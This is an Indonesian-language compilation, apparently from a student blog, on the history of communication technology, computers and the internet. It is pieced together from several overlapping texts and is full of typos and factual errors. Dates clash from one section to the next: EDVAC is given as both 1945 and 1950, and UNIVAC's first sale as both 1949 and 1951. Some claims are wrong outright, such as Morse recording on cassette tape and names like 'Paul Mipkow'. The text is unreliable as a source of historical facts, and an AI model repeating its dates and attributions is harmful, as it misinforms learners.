Telegraf berasal dari kata telegraphy dalam bahasa yunani berarti menulis jarak jauh. Jadi telegraf adalah alart komunikasi yang dapat mengirimkan sinyal yang mewakili kode huruf  angka dan tanda-tanda penulisan (tanda baca).pada awalnya ada beberapa system telegraf ini yaitu telegraf akustik yamg menggunakan bentuk suara manusia,telegraf hidrolik menggunakan gelas kaca di isi air dan tongkat dan telegraf optic yaitu menggunakan tembakan api dan cermin(semaphore).telegraf elektrik di perkenalkan pada tahun 1844 oleh Samuel morse  da kode yang di gunakan di kenal dengan kode sandi morse  .semula morse memperkenalkan telegraf menggunakan rekaman pita kaset untuk disandikan.istilah telegram digunakan pertama kali di ingris pada tanggal 6 april 1852,yang mengambil istilah dari bahasa yunani telegrapheme.
Telegraf pertama di gunakan morse untuk memperkenalakan telegraf adalah mengirimkan tulisan “what hath god wrought”.berikut contoh telegram yang digunakan untuk memberitahukan bencana kapal titanic pada tahun 1912
1.        Radio
Radio merupakan alat kounikasi pertama yang tidak menggunakan kabel penghubung. Albert Einsitein menggambarkan ketika ditanya tentang gelombang radio bahwa:
Anda lihat, kebel telegraf adalah semacam kucing yang amat sangat panjang. Anda pukul ekornya di New York dan kepalanya me-meong di Los Angeles. Anda mengerti ini? Dan pengoprasian radio adalah cara yang sama: anda mengirim sinyal di sini,mereka menerima di sana perbedaannya hanyalah tidak ada kucing di sana”
                Penemuan radio diawali dengan ditemukanya gelombang radio pada tahun 1887 olehHeincrich Hertz. Kurang lebih sepuluh tahun kemudian Guglielmo Marconi membuat radio yang pertama,tepatnya pada tahun 1896. Berikut adalah gambar radio Marconi,sebelum adanya radio sepertiyang kita kenal sekarang.
2.      3. Telepon
Telephone berarti berbicara jarak jauh. Telepon merupakan alat telekomunikasi dua arah yang dapat mengirimkan pembicaraan melalui sinyal listrik. Pesawat telepon di hubungkan menggunakan kabel tembaga. Telepon pertama kali diciptakan oleh Alexander Graham Bell pada tahun 1876. Dari pesawat telepon sederhana kemudian dikembangkan oleh Almon Stowger yang menciptakan telepon dengan pemutar nomor otomatis. Pada tahun 1898 diciptakan mesin penjawab telepon. Panggilan telepon antar benua pertama kali dilakikan pada tahun 1914.
Teknologi teleon berkembang dari telepon tetap (fixed line telephone) yang menggunakan kabel penghubung menjadi telepon tanpa kabel tau (telepon seluler) atu yang disebut handphone  pada tahun 1973.pada tahun 1979 jepang membangun jaringan telepon seluler pertama dan diikuti oleh amerika serikat pada tahun 1983
4.    Tlevisi
Televise berasal dari kata tele yang berarti jauh dan vision yang berarti tampak.jadi televise berarti melihat dari jarak jauh. Televise diciptakan berawal dari ditemukanya cakram mental (logam) kecil yang berputar dan memiliki banyak lubang oleh Paul Mipkow pada tahun 1883. Alat tersebut kemudian dikembangkan oleh Charles F.Jenkins pada tahun 1925 diikuti oleh John Logie bird yang mengirimkan eksperimen sinyal televise yang pertama.
Seiring dengan perkembangan teknologi,televise pun mengalami perkembangan yang sangat cepat.jika dulu televise diciptakan dengan tampilan warna hitam putih dan gambar yang ditampilkan pun kelihatan terputus-terputus,maka sekarang televisi telah dapat menampilkan gambar berwarna dan gerakan yang nyata layaknya manusia yanghidup.layar televisi pun telah mengalami perubahan dari televise layar cembung ke televise layar datar.
5.    Internet
Perkembangan teknologi menjadi sangat cepat ketika dunia mengenal adanya computer. Bermula dari sebuah mesin yang khusus digunakan untuk melakkan perhitungan matematika,computer berubah menjadi mesin yang serbaguna dan serba bisa. Saat ini computer bukan hanya dapat mengolah dan menghasilkan informasi perhitungan matematika tetapi hampir setiap masalah di semua aspek kehidupanmanusia dapat diidelesaikan dengan bantuan computer. Terutama dalam dunia komunikasi dan informasi saat ini telah ada ap yang disebut dengan internet. Internet adalah jaringan dari beberapa computer yang dihubungkan sehingga dapat saling mngirim informasi.
Internet berawal dari cipptaan teknologi jaringan computer sekitar tahun 1960. Pada awalnya jaringan computer dimanfaatkan oleh angkatan bersenjata Amerika untuk mengembangkan senjata nuklir. Setelah itu tahun 1970 internet banyak digunakan di universitas di Amerika  dan berkembang pesat sampai saat ini.
Pada tahun 1989,Timothy burners-Lee,ahli computer dari inggris menciptakan Word Wide Web yaitu semacam program yang memungkinkan suara,gambar,film dan music ditampilkan dalam internet karena penemuan inilah internet menjadi lebih menarik tampilanya dan sangat bervariasi. Internet telah memungkinkan manusia berhubungan tanpa batasab ruang dan waktu.



SEJARAH PERKEMBANGAN TIK
A.    PENDAHULUAN
Dari waktu ke waktu manusia tidak akan berhenti mencari dan menciptakan sarana dan cara lain untuk dapat berkomunikasi dengan cepat,nyaman dan aman. Karenanya teknologi informasi dan komunikasi juga akan selau berkembang, berikut akan di gambarkan perkembangan teknologi informasi dan komunikasi dari jaman dulu (kuno) sampai jaman modern seperti sekarang ini.
B.    SEJARAH PERKEMBANGAN TEKNOLOGI INFORMASI DAN KOMUNIKASI
Pada dasarnya komunikasi adalah penyampaian informasi atau pesan dari satu orang kepada orang lain. Permasalahanya adalah adanya batas ruang dan waktu antara penerima dan penyampaian pesan untuk memenuhi kebutuhan yang sama. Hal ini yang menjadi kunci pokok perkembangan teknologi informasi dan komunikasi. Bagaimana kita dapat mengurangi atau bahkan menghilangkan batas ruang dan waktu agar dapat berkomunikasi dengan siapa saja,dimana saja dan kapan saja??
1.    Pada masa lalu (kuno),manusia hanya memanfaatkan bahan-bahan alam secara sederhana untuk dapat berkomunikasi. Misalnya menggunakan asap atau api,membuat kentongan atau alat-alat bunyi lain semacam peluit,mengirimkan prasasti baik berupa batu,tulang,kulit kayu ataupun dengan daun-daunan seperti daun lontar.
2.    Pada masa modern, kemudian manusia mulai mengenal listrik. Ia ciptakan berbagai alat yang dapat mengubah suara atau tulisan menjadi sinyal listrik sehingga sinyal tersebut dapat diolah dan dikirimkan melalui konduktor atau penghantar listrik. Kemudian dari sinyal listrik diubah lagi menjadi suara atau tulisan yang dimengerti manusia. Pada masa ini dekenal adanya telegram,telepon,radio dan juga televisi.
3.    Pada masa sekarang adalah masa digital,semua peralatan dibuat hanya dengan mengenal angka 0 (nol) dan 1 (satu). Semua permasalahan dapat diselesaikan dengan kondisi on dan off computer sebagai dasar peralatan teknologi informasi dan komunikasi telah mengubah cara manusia berinteraksi. Jika sebelumnya manusia dapat berkomunikasi secara lisan dengan telepon dari rumah kerumah,maka sekarang handpone memungkingkan manusia berkomunikasi jatak jauh dari mana saja dan kemana saja jika sebelumnya manusia dapat menyaksikan aktivitas manusia lain yang berada jauh dari tempat tinggal, maka sekarang intenet menyediakan fasilitas teleconference sehingga manusia dapat bertatap muka dengan manusia pada belahan dunia lain.
Secara ringkas perkembangan peralatan teknologi informasi dan komunikasi dapat di gambarkan sebagai berikut:

C.    SEJARAH PERKEMBANGAN KOMPUTER
1.    Sejarah perkembangan komputer
Pada saat ini wujud atau peralatan teknologi informasi dan komunikasi yang paling maju adalah internet. Internet adalah sebuah jaringan yang menghubungkan komputer-komputer  yang ada didunia. Oleh karena itu membahas perkembangan teknologi informasi dan komunikasi tidak dapat lepas sejarah perkembangan koputer. Computer atau dalam bahsa inggris “computer”, berasal dari bahasa latin comptere yang berarti menghitung. Pada dasarnya computer dapat didenifisikan sebagai suatu pemroses data yang dapat melakukan perhitungan besar dan cepat,termasuk perhintungan aritmatika dan operasi logika tanpa campur tangan dari manusia.
Berikut sejarah singkat Perkembangan Komputer
a.    Pra sejarah
1)    Abcus,adalah alat hitung sederhana yang ditemukan di babylonia (irak) 4 abad sebelum Masehi, Sistem perhitungan Arab diperkenalkan ke Eropa pada abad 8 M, dengan memperkenalkan konsep nol (0),angka puluhan,ratusan, dan ribuan.
2)    Pada tahun 1617,john Napier dari Scotlandia menciptakan alat penghitung untuk perkalian dengan menggunakan table bujur sangkar yang terdiri dari 9 baris x 9 kolom yang berisi angka 1 sampai 9 yang dikenal dengan Napier’s Bones.
3)    Tahun 1623,Wilhelm Schickard membuat kalkulator mekanik pertama yang dapat bekerja dengan 6 digit.
4)    Tahun 1642, Blaise Pascal membuat kalkulator mekanik dengan kapasitas 8 digit yang dikenal dengan Pascal’s Arithmatic Machine.
5)    Tahun 1674, Leib nitz dan Samuel Morland menciptakan mesin hitung yang dapat digunakan untuk perkalian dan pembagian yang dikenal dengan nama Leibnitz Calculation Machine
6)    Tahun 1812,Charles Bebbage menciptakan Bebbage Calculation Mechine. Mesin tersebut digunakan sebagai dasar computer saat ini, yang telah memperkenalkan penyimpanan data hasil perkalian yang akan digunakan untuk operasi selanjutnya dan alat ini dapat menghhitung logaritma dan trigonometri secara otomatis.
7)    Tahun 1835, Lady Ada Augusta Lovelance yang bekerja pada Charles Bebbage membuat program computer pertama pada mesin Analytical Engine.beliau menjelaskan fungsi-fungsi Loop dan Subroutine.
8)    Tahun 1890, Herman Hollerith dari Biro Sensus Amerika  berhasil menciptakan mesin punched card counting yang menggunakan punch card (kartu perforasi) sebagai media datanya. Penemuan punch card ini merupakan penemuan yang gemilang dalam sejarah computer sehingga Herman Hollerith dijuluki sebagai bapak computer modern.
b.    Elektronik
1)    Pada tahun 1941, konrad Zuse,seorang insinyur Jerman membuat kalkulator yang dapat deprogram.
2)    Tahun 1943,Colossus, computer inggris yang digunakan untuk memecahkan kode.
3)    Di tahun 1944 Howard Aiken dari Harved University yang bekerja sama dengan international Business Machine (IBN) berhasil membuat sebuah mesin computer yang mampu melaksanakan serentetan operasi aritmatika secara otomatis. Mesin ini dinamakan Mark I dan dapat dikatakan sebagai computer pertama yang diciptakan manusia.
4)    Tahun 1946, ENIAC (Electronic Numercial Integration Analyser and Computer) dikembangkan oleh Ballistics Research Laboratory pada university of Pennsylvania.
5)    Tahun 1950 Dr. John Von Nueman membuat computer dengan nama EDVAC (Electronic Descrete Variable Automatic Computer). Computer komersial pertama dijual oleh sperry Rand Corporation pada tahun 1949 dengan nama UNIVAC 1 (Universal Automatic Computer).
6)    Tahun 1959, Texas instruments dan Fairchild Semiconductor mengembangkan Intergrated circuit (IC)
2.    Perkembangan Hardware
Dilihat dari perkembangan hardwere atau perangkat keras computer dapat dikelompokan dalam beberapa generasi,yaitu:
a.    Komputer Generasi Pertama (1946-1959)
Computer generasi pertama dikkembangkan pada saat perang dunia ke dua. Cirri-ciri computer generasi pertama antara lain:

1)    Ukuran fisiknya besar
2)    Kecepatan prose lambat
3)    Cepat panas
4)    Membutuhkan listrik yang besar
5)    Menggunakan tabung hampa udara (vaccum tube)
6)    Memorynya menggunakan magneric core strorage.
7)    Masih menggunakan bahasa mesin (mechine language)
8)    Menggunakan konsep Stored progam.
Yang termasuk computer generasi pertama adalah:
1)    Mark I,Mark II,IBM 702,IBM 704,IBM 709,(dibuat oleh IBM)
2)    UNIVAC I, UNIVAC II (oleh Sperry  Rand)
3)    ENIAC (dibuat oleh Dr. John W. Mauchly)
4)    SEC (simple Electronic Computer), dibuat oleh Electronic Laboratytory of Birkbeck College
5)    Datamanic 1000 (dibuat oleh Honeywell)
6)    NRC 102A,NCR 102D (dibuat oleh National Cash Rwgister),dll.
b.    Komputer Generasi Kedua (1959-1965)
Cirri-ciri computer generasi kedua adalah:
1)    Telah menggunakan transistor sebagai pengganti Vaccum tube.
2)    Ukuran fisiknya lebih kecil daripada computer generasi pertama.
3)    Kecepatan proses meningkat
4)    Tidak cepat panas
5)    Membutuhkan listrik lebih sedikit
6)    memori yang digunakan lebih besar
7)    Menggunakan bahasa tingkat tinggi (COBOL,FORTRAN)
8)    Sudah dapat digunakan untuk real time (informasi dapat diperoleh dalam sekejab) dan time sharing (Komputer dapat digunakan bersama-sama dan dapat membagi waktu untuk tiap pemakai)
Yang termasuk computer generasi kedua antara lain:
1)    IBM 7070,IBM 7080,IBM 1400,IBM 1600 (dibuat oleh IBM)
2)    Honeywell 400 dan Honeywell 800 (oleh Honeywell)
3)    Burroughs 200 (dibuat oleh Burroughs)
4)    UNIVAC III, UNIVAC SS80, UNIVAC SS90,UNIVAC 1107,(dibuat oleh Sperry Rand)
5)    NCR 300 (oleh National Cash Register)
6)    GE 635,GE 645 dan GE 200(dibuat General Electric)
c.    Komputer Generasi Ketiga (1965-1970)
Pada computer generasi ketiga terjadi penyempurnaan komponen dan tampilan computer. Cirri-ciri computer generasi ini antara lain:
1)    Komponen transistor dikembangkan menjadi IC (ingrated circuit) dalam bentuk Hybird Integrated Circuits atau Solid Logic Technology (SLT)
2)    Kecepatan proses semakin cepat.
3)    Membutuhkan listrik lebih hemat
4)    Memory yang digunakan lebih besar
5)    Telah menggunakan media penyimpanan luar yang bersifat random acces yaitu magnetic disk yang berkapasitas besar.
6)    Dapat digunakan untuk multi processing dan multi programming.
7)    Telah dibuatnya alat input-output dengan menggunakan Visual display terminal yang dapat menampilkan grafik, dapat menerima dan mengeluarkan suara dan telah menggunakan alat pembaca tinta magnetic MICR (Magnetic Ink Reader)
Yang termasuk computer generasi ketiga adalah UNIVAC 1108,UNIVAC 9000.Burroughs 5700,Burroughs 6700,GE 600,GE 235,CDC 3000,CDC 700,PDP -8 DAN PDP -11.
d.    Komputer Generasi Keempat (1970-1995)
Pada generasi ini,tujuan pengembangan computer adalah mengecilkan ukuran sirkuit dan komponen-komponen elektrik. Computer sudah menggunakan Large Scale Intergration (LSI). LSI dapat memuat ratusan komponen dalam sebuah chip. Kemampuan untuk memasang banyak komponen dalam chip telah mendorong menurunya harga computer. Hal tersebut juga meningkatkan daya kerja,efesien dan keterdalaman computer. Cirri lain yang memiliki computer generasi keempat adalah dikembangkannya computer mikro yang menggunakan micro prosesor dan semi conductor yang berbentuk chip untuk memori computer.
Pada masa ini juga IBM mulai memperkenalkan personal computer (pc) untuk penggunaan di rumah,kantor, dan sekolah. Computer pun melanjutkan evolusinya menuju ukuran yang lebih kecil dari komputer yang ada diatas meja (desktop computer) menjadi computer yang dapat dimasukan ke dalam tas (laptop) atau bahkan computer yang dapat digenggam (palmtop). Selain IBM, perusahaan apple-Machintosh mempopulerkan system grafis pada komputernya. Machitosh pun memperkenalkan penggunaan peranti mouse.
Yang termasuk computer generasi keempat adalah IBM 370,Apple II,IBM PC/XT, /IBM PC/AT,IBM PS/2,IBM PC/486,Pentium I,Pentium II, Pentium III, dan Pentium IV.AMD k6 dan Athlon
Computer generasi selanjutnya masih dalam pengembangan. Komponen yang digunakan adalah VLSI (Very Large Scale Integration). Computer dikembangkan kepada computer yang dapat menerjemahkan bahsa manusia,bercakap-cakap dengan manusia dan dapat berpikir seperti manusia yaitu dengan terwujudnya materri kecerdasan buatan (Artificial Intelligent)
D.    SEJARAH PERKEMBANGAN INTERNET
Internet adalah sebuah jaringan raksasa yang menghubungkan jaringan-jaringan computer local di seluruh dunia. Jaringan computer atau network adalah sekelompok computer yang terhubung yang dapat saling berbagi sumber daya dan data. Berikut sejarah singkat internet.
Pada tahun 1961,konsep jaringan computer diperkenalkan di MIT oleh Leonard Kelinrock dalam makalahnya yang berjudul information Flow in Large Nets tentang jarring-jaringan packet switching.
Pada tahun 1969 ARPA (Advanced Research Project Agency) milik Departemen Pertahanan Amerika Serikat yang didirikan pada tahun 1958 membuat jaringan internet pertama yang dikenal dengan ARPAnet. ARPAnet semula hanya mengubah 4 komputer di California dan Utah.
Tahun 1970,ARPAnet mulai menggunakan NCP (Network Control Protocol)
Tahun 1971,mulai diperkenalkan File Transfer Protocol (FTP)
Tahun 1972, Ray Tomlinson membuat perangkat lunak SNGMSH DAN READMIL yang memungkinkan pengiriman e-mail antar computer. ARPA diubah menjadi DARPA (Defense Advanced Research). John Postel membuat spesifikasi telnet pertama (RFC 318)
Tahun 1973, ARPAnet mulai dibuka untuk koneksi internasional.
Tahun 1973,mulai diperkenalkan TCP (Transmission Control Protokol)
Tahun 1983, TCP/i[ ditetapkan sebagai standar koneksi internet menggantikan NCP. Diperkenalkan DNS (Domain Name System) untuk menggantikan nomor-nomor IP Server.
Tahun 1991,Tim Bernesrs Lee dan CERN membuat Word wide web (WWW)/
Mulai tahun 1994 seiring krmajuan hardware dan software computer membuat Word \wide Web yang memungkinkan antarmuka grafis semakin mempermudah pengguna umum dan memungkinkan kebebasan distribusi informasi yang sebelumnya tidak dimungkinkan.






copyright :Dicky













SEJARAH KOMPUTER

Pengertian Komputer

Komputer adalah alat yang dipakai untuk mengolah data menurut perintah yang telah dirumuskan. Kata komputer semula dipergunakan untuk menggambarkan orang yang perkerjaannya melakukan perhitungan aritmatika, dengan atau tanpa alat bantu, tetapi arti kata ini kemudian dipindahkan kepada mesin itu sendiri. Asal mulanya, pengolahan informasi hampir eksklusif berhubungan dengan masalah aritmatika, tetapi komputer modern dipakai untuk banyak tugas yang tidak berhubungan dengan matematika.
Secara luas, Komputer dapat didefinisikan sebagai suatu peralatan elektronik yang terdiri dari beberapa komponen, yang dapat bekerja sama antara komponen satu dengan yang lain untuk menghasilkan suatu informasi berdasarkan program dan data yang ada. Adapun komponen komputer adalah meliputi : Layar Monitor, CPU, Keyboard, Mouse dan Printer (sbg pelengkap). Tanpa printer komputer tetap dapat melakukan tugasnya sebagai pengolah data, namun sebatas terlihat dilayar monitor belum dalam bentuk print out (kertas).
Dalam definisi seperti itu terdapat alat seperti slide rule, jenis kalkulator mekanik mulai dari abakus dan seterusnya, sampai semua komputer elektronik yang kontemporer. Istilah lebih baik yang cocok untuk arti luas seperti "komputer" adalah "yang memproses informasi" atau "sistem pengolah informasi."
Saat ini, komputer sudah semakin canggih. Tetapi, sebelumnya komputer tidak sekecil, secanggih, sekeren dan seringan sekarang. Dalam sejarah komputer, ada 5 generasi dalam sejarah komputer.

Generasi komputer

Generasi Pertama

Dengan terjadinya Perang Dunia Kedua, negara-negara yang terlibat dalam perang tersebut berusaha mengembangkan komputer untuk mengeksploit potensi strategis yang dimiliki komputer. Hal ini meningkatkan pendanaan pengembangan komputer serta mempercepat kemajuan teknik komputer. Pada tahun 1941, Konrad Zuse, seorang insinyur Jerman membangun sebuah komputer, Z3, untuk mendesain pesawat terbang dan peluru kendali.
Pihak sekutu juga membuat kemajuan lain dalam pengembangan kekuatan komputer. Tahun 1943, pihak Inggris menyelesaikan komputer pemecah kode rahasia yang dinamakan Colossus untuk memecahkan kode rahasia yang digunakan Jerman. Dampak pembuatan Colossus tidak terlalu memengaruhi perkembangan industri komputer dikarenakan dua alasan. Pertama, Colossus bukan merupakan komputer serbaguna(general-purpose computer), ia hanya didesain untuk memecahkan kode rahasia. Kedua, keberadaan mesin ini dijaga kerahasiaannya hingga satu dekade setelah perang berakhir.
Usaha yang dilakukan oleh pihak Amerika pada saat itu menghasilkan suatu kemajuan lain. Howard H. Aiken (1900-1973), seorang insinyur Harvard yang bekerja dengan IBM, berhasil memproduksi kalkulator elektronik untuk US Navy. Kalkulator tersebut berukuran panjang setengah lapangan bola kaki dan memiliki rentang kabel sepanjang 500 mil. The Harvard-IBM Automatic Sequence Controlled Calculator, atau Mark I, merupakan komputer relai elektronik. Ia menggunakan sinyal elektromagnetik untuk menggerakkan komponen mekanik. Mesin tersebut beropreasi dengan lambat (ia membutuhkan 3-5 detik untuk setiap perhitungan) dan tidak fleksibel (urutan kalkulasi tidak dapat diubah). Kalkulator tersebut dapat melakukan perhitungan aritmatik dasar dan persamaan yang lebih kompleks.
Perkembangan komputer lain pada masa kini adalah Electronic Numerical Integrator and Computer (ENIAC), yang dibuat oleh kerjasama antara pemerintah Amerika Serikat dan University of Pennsylvania. Terdiri dari 18.000 tabung vakum, 70.000 resistor, dan 5 juta titik solder, komputer tersebut merupakan mesin yang sangat besar yang mengonsumsi daya sebesar 160kW.
Komputer ini dirancang oleh John Presper Eckert (1919-1995) dan John W. Mauchly (1907-1980), ENIAC merupakan komputer serbaguna (general purpose computer) yang bekerja 1000 kali lebih cepat dibandingkan Mark I.
Pada pertengahan 1940-an, John von Neumann (1903-1957) bergabung dengan tim University of Pennsylvania dalam usaha membangun konsep desain komputer yang hingga 40 tahun mendatang masih dipakai dalam teknik komputer. Von Neumann mendesain Electronic Discrete Variable Automatic Computer (EDVAC) pada tahun 1945 dengan sebuah memori untuk menampung baik program ataupun data. Teknik ini memungkinkan komputer untuk berhenti pada suatu saat dan kemudian melanjutkan pekerjaannya kembali. Kunci utama arsitektur von Neumann adalah unit pemrosesan sentral (CPU), yang memungkinkan seluruh fungsi komputer untuk dikoordinasikan melalui satu sumber tunggal. Tahun 1951, UNIVAC I (Universal Automatic Computer I) yang dibuat oleh Remington Rand, menjadi komputer komersial pertama yang memanfaatkan model arsitektur Von Neumann tersebut.
Baik Badan Sensus Amerika Serikat dan General Electric memiliki UNIVAC. Salah satu hasil mengesankan yang dicapai oleh UNIVAC dalah keberhasilannya dalam memprediksi kemenangan Dwilight D. Eisenhower dalam pemilihan presiden tahun 1952.
Komputer Generasi pertama dikarakteristik dengan fakta bahwa instruksi operasi dibuat secara spesifik untuk suatu tugas tertentu. Setiap komputer memiliki program kode biner yang berbeda yang disebut "bahasa mesin" (machine language). Hal ini menyebabkan komputer sulit untuk diprogram dan membatasi kecepatannya. Ciri lain komputer generasi pertama adalah penggunaan tube vakum (yang membuat komputer pada masa tersebut berukuran sangat besar) dan silinder magnetik untuk penyimpanan data.

Generasi Kedua

Pada tahun 1948, penemuan transistor sangat memengaruhi perkembangan komputer. Transistor menggantikan tube vakum di televisi, radio, dan komputer. Akibatnya, ukuran mesin-mesin elektrik berkurang drastis.
Transistor mulai digunakan di dalam komputer mulai pada tahun 1956. Penemuan lain yang berupa pengembangan memori inti-magnetik membantu pengembangan komputer generasi kedua yang lebih kecil, lebih cepat, lebih dapat diandalkan, dan lebih hemat energi dibanding para pendahulunya. Mesin pertama yang memanfaatkan teknologi baru ini adalah superkomputer. IBM membuat superkomputer bernama Stretch, dan Sprery-Rand membuat komputer bernama LARC. Komputer-komputer ini, yang dikembangkan untuk laboratorium energi atom, dapat menangani sejumlah besar data, sebuah kemampuan yang sangat dibutuhkan oleh peneliti atom. Mesin tersebut sangat mahal dan cenderung terlalu kompleks untuk kebutuhan komputasi bisnis, sehingga membatasi kepopulerannya. Hanya ada dua LARC yang pernah dipasang dan digunakan: satu di Lawrence Radiation Labs di Livermore, California, dan yang lainnya di US Navy Research and Development Center di Washington D.C. Komputer generasi kedua menggantikan bahasa mesin dengan bahasa assembly. Bahasa assembly adalah bahasa yang menggunakan singkatan-singakatan untuk menggantikan kode biner.
Pada awal 1960-an, mulai bermunculan komputer generasi kedua yang sukses di bidang bisnis, di universitas, dan di pemerintahan. Komputer-komputer generasi kedua ini merupakan komputer yang sepenuhnya menggunakan transistor. Mereka juga memiliki komponen-komponen yang dapat diasosiasikan dengan komputer pada saat ini: printer, penyimpanan dalam disket, memory, sistem operasi, dan program.
Salah satu contoh penting komputer pada masa ini adalah 1401 yang diterima secara luas di kalangan industri. Pada tahun 1965, hampir seluruh bisnis-bisnis besar menggunakan komputer generasi kedua untuk memprosesinformasi keuangan.
Program yang tersimpan di dalam komputer dan bahasa pemrograman yang ada di dalamnya memberikan fleksibilitas kepada komputer. Fleksibilitas ini meningkatkan kinerja dengan harga yang pantas bagi penggunaan bisnis. Dengan konsep ini, komputer dapat mencetak faktur pembelian konsumen dan kemudian menjalankan desain produk atau menghitung daftar gaji. Beberapa bahasa pemrograman mulai bermunculan pada saat itu. Bahasa pemrograman Common Business-Oriented Language (COBOL) dan Formula Translator (FORTRAN) mulai umum digunakan. Bahasa pemrograman ini menggantikan kode mesin yang rumit dengan kata-kata, kalimat, dan formula matematika yang lebih mudah dipahami oleh manusia. Hal ini memudahkan seseorang untuk memprogram dan mengatur komputer. Berbagai macam karier baru bermunculan (programmer, analis sistem, dan ahli sistem komputer). Industr piranti lunak juga mulai bermunculan dan berkembang pada masa komputer generasi kedua ini.

Generasi Ketiga

Walaupun transistor dalam banyak hal mengungguli tube vakum, namun transistor menghasilkan panas yang cukup besar, yang dapat berpotensi merusak bagian-bagian internal komputer. Batu kuarsa (quartz rock) menghilangkan masalah ini. Jack Kilby, seorang insinyur di Texas Instrument, mengembangkan sirkuit terintegrasi (IC : integrated circuit) di tahun 1958. IC mengkombinasikan tiga komponen elektronik dalam sebuah piringan silikon kecil yang terbuat dari pasir kuarsa. Pada ilmuwan kemudian berhasil memasukkan lebih banyak komponen-komponen ke dalam suatu chip tunggal yang disebut semikonduktor. Hasilnya, komputer menjadi semakin kecil karena komponen-komponen dapat dipadatkan dalam chip. Kemajuan komputer generasi ketiga lainnya adalah penggunaan sistem operasi (operating system) yang memungkinkan mesin untuk menjalankan berbagai program yang berbeda secara serentak dengan sebuah program utama yang memonitor dan mengkoordinasi memori komputer.

 Generasi Keempat

Setelah IC, tujuan pengembangan menjadi lebih jelas: mengecilkan ukuran sirkuit dan komponen-komponen elektrik. Large Scale Integration (LSI) dapat memuat ratusan komponen dalam sebuah chip. Pada tahun 1980-an, Very Large Scale Integration (VLSI) memuat ribuan komponen dalam sebuah chip tunggal.
Ultra-Large Scale Integration (ULSI) meningkatkan jumlah tersebut menjadi jutaan. Kemampuan untuk memasang sedemikian banyak komponen dalam suatu keping yang berukurang setengah keping uang logam mendorong turunnya harga dan ukuran komputer. Hal tersebut juga meningkatkan daya kerja, efisiensi dan keterandalan komputer. Chip Intel 4004 yang dibuat pada tahun 1971membawa kemajuan pada IC dengan meletakkan seluruh komponen dari sebuah komputer (central processing unit, memori, dan kendali input/output) dalam sebuah chip yang sangat kecil. Sebelumnya, IC dibuat untuk mengerjakan suatu tugas tertentu yang spesifik. Sekarang, sebuah mikroprosesor dapat diproduksi dan kemudian diprogram untuk memenuhi seluruh kebutuhan yang diinginkan. Tidak lama kemudian, setiap piranti rumah tangga seperti microwave, oven, televisi, dan mobil dengan electronic fuel injection (EFI) dilengkapi dengan mikroprosesor.
Perkembangan yang demikian memungkinkan orang-orang biasa untuk menggunakan komputer biasa. Komputer tidak lagi menjadi dominasi perusahaan-perusahaan besar atau lembaga pemerintah. Pada pertengahan tahun 1970-an, perakit komputer menawarkan produk komputer mereka ke masyarakat umum. Komputer-komputer ini, yang disebut minikomputer, dijual dengan paket piranti lunak yang mudah digunakan oleh kalangan awam. Piranti lunak yang paling populer pada saat itu adalah program word processing dan spreadsheet. Pada awal 1980-an, video game seperti Atari 2600 menarik perhatian konsumen pada komputer rumahan yang lebih canggih dan dapat diprogram.
Pada tahun 1981, IBM memperkenalkan penggunaan Personal Computer (PC) untuk penggunaan di rumah, kantor, dan sekolah. Jumlah PC yang digunakan melonjak dari 2 juta unit di tahun 1981 menjadi 5,5 juta unit di tahun 1982. Sepuluh tahun kemudian, 65 juta PC digunakan. Komputer melanjutkan evolusinya menuju ukuran yang lebih kecil, dari komputer yang berada di atas meja (desktop computer) menjadi komputer yang dapat dimasukkan ke dalam tas (laptop), atau bahkan komputer yang dapat digenggam (palmtop).
IBM PC bersaing dengan Apple Macintosh dalam memperebutkan pasar komputer. Apple Macintosh menjadi terkenal karena memopulerkan sistem grafis pada komputernya, sementara saingannya masih menggunakan komputer yang berbasis teks. Macintosh juga memopulerkan penggunaan piranti mouse.
Pada masa sekarang, kita mengenal perjalanan IBM compatible dengan pemakaian CPU: IBM PC/486, Pentium, Pentium II, Pentium III, Pentium IV (Serial dari CPU buatan Intel). Juga kita kenal AMD k6, Athlon, dsb. Ini semua masuk dalam golongan komputer generasi keempat.
Seiring dengan menjamurnya penggunaan komputer di tempat kerja, cara-cara baru untuk menggali potensial terus dikembangkan. Seiring dengan bertambah kuatnya suatu komputer kecil, komputer-komputer tersebut dapat dihubungkan secara bersamaan dalam suatu jaringan untuk saling berbagi memori, piranti lunak, informasi, dan juga untuk dapat saling berkomunikasi satu dengan yang lainnya. Jaringan komputer memungkinkan komputer tunggal untuk membentuk kerjasama elektronik untuk menyelesaikan suatu proses tugas. Dengan menggunakan perkabelan langsung (disebut juga Local Area Network atau LAN), atau [kabel telepon, jaringan ini dapat berkembang menjadi sangat besar.

Generasi Kelima

Mendefinisikan komputer generasi kelima menjadi cukup sulit karena tahap ini masih sangat muda. Contoh imajinatif komputer generasi kelima adalah komputer fiksi HAL9000 dari novel karya Arthur C. Clarke berjudul 2001: Space Odyssey. HAL menampilkan seluruh fungsi yang diinginkan dari sebuah komputer generasi kelima. Dengan kecerdasan buatan (artificial intelligence atau AI), HAL dapat cukup memiliki nalar untuk melakukan percapakan dengan manusia, menggunakan masukan visual, dan belajar dari pengalamannya sendiri.
Walaupun mungkin realisasi HAL9000 masih jauh dari kenyataan, banyak fungsi-fungsi yang dimilikinya sudah terwujud. Beberapa komputer dapat menerima instruksi secara lisan dan mampu meniru nalar manusia. Kemampuan untuk menterjemahkan bahasa asing juga menjadi mungkin. Fasilitas ini tampak sederhana. Namun fasilitas tersebut menjadi jauh lebih rumit dari yang diduga ketika programmer menyadari bahwa pengertian manusia sangat bergantung pada konteks dan pengertian ketimbang sekedar menterjemahkan kata-kata secara langsung.
Banyak kemajuan di bidang desain komputer dan teknologi yang semakin memungkinkan pembuatan komputer generasi kelima. Dua kemajuan rekayasa yang terutama adalah kemampuan pemrosesan paralel, yang akan menggantikan model non Neumann. Model non Neumann akan digantikan dengan sistem yang mampu mengkoordinasikan banyak CPU untuk bekerja secara serempak. Kemajuan lain adalah teknologi superkonduktor yang memungkinkan aliran elektrik tanpa ada hambatan apapun, yang nantinya dapat mempercepat kecepatan informasi.
Jepang adalah negara yang terkenal dalam sosialisasi jargon dan proyek komputer generasi kelima. Lembaga ICOT (Institute for new Computer Technology) juga dibentuk untuk merealisasikannya. Banyak kabar yang menyatakan bahwa proyek ini telah gagal, namun beberapa informasi lain bahwa keberhasilan proyek komputer generasi kelima ini akan membawa perubahan baru paradigma komputerisasi di dunia.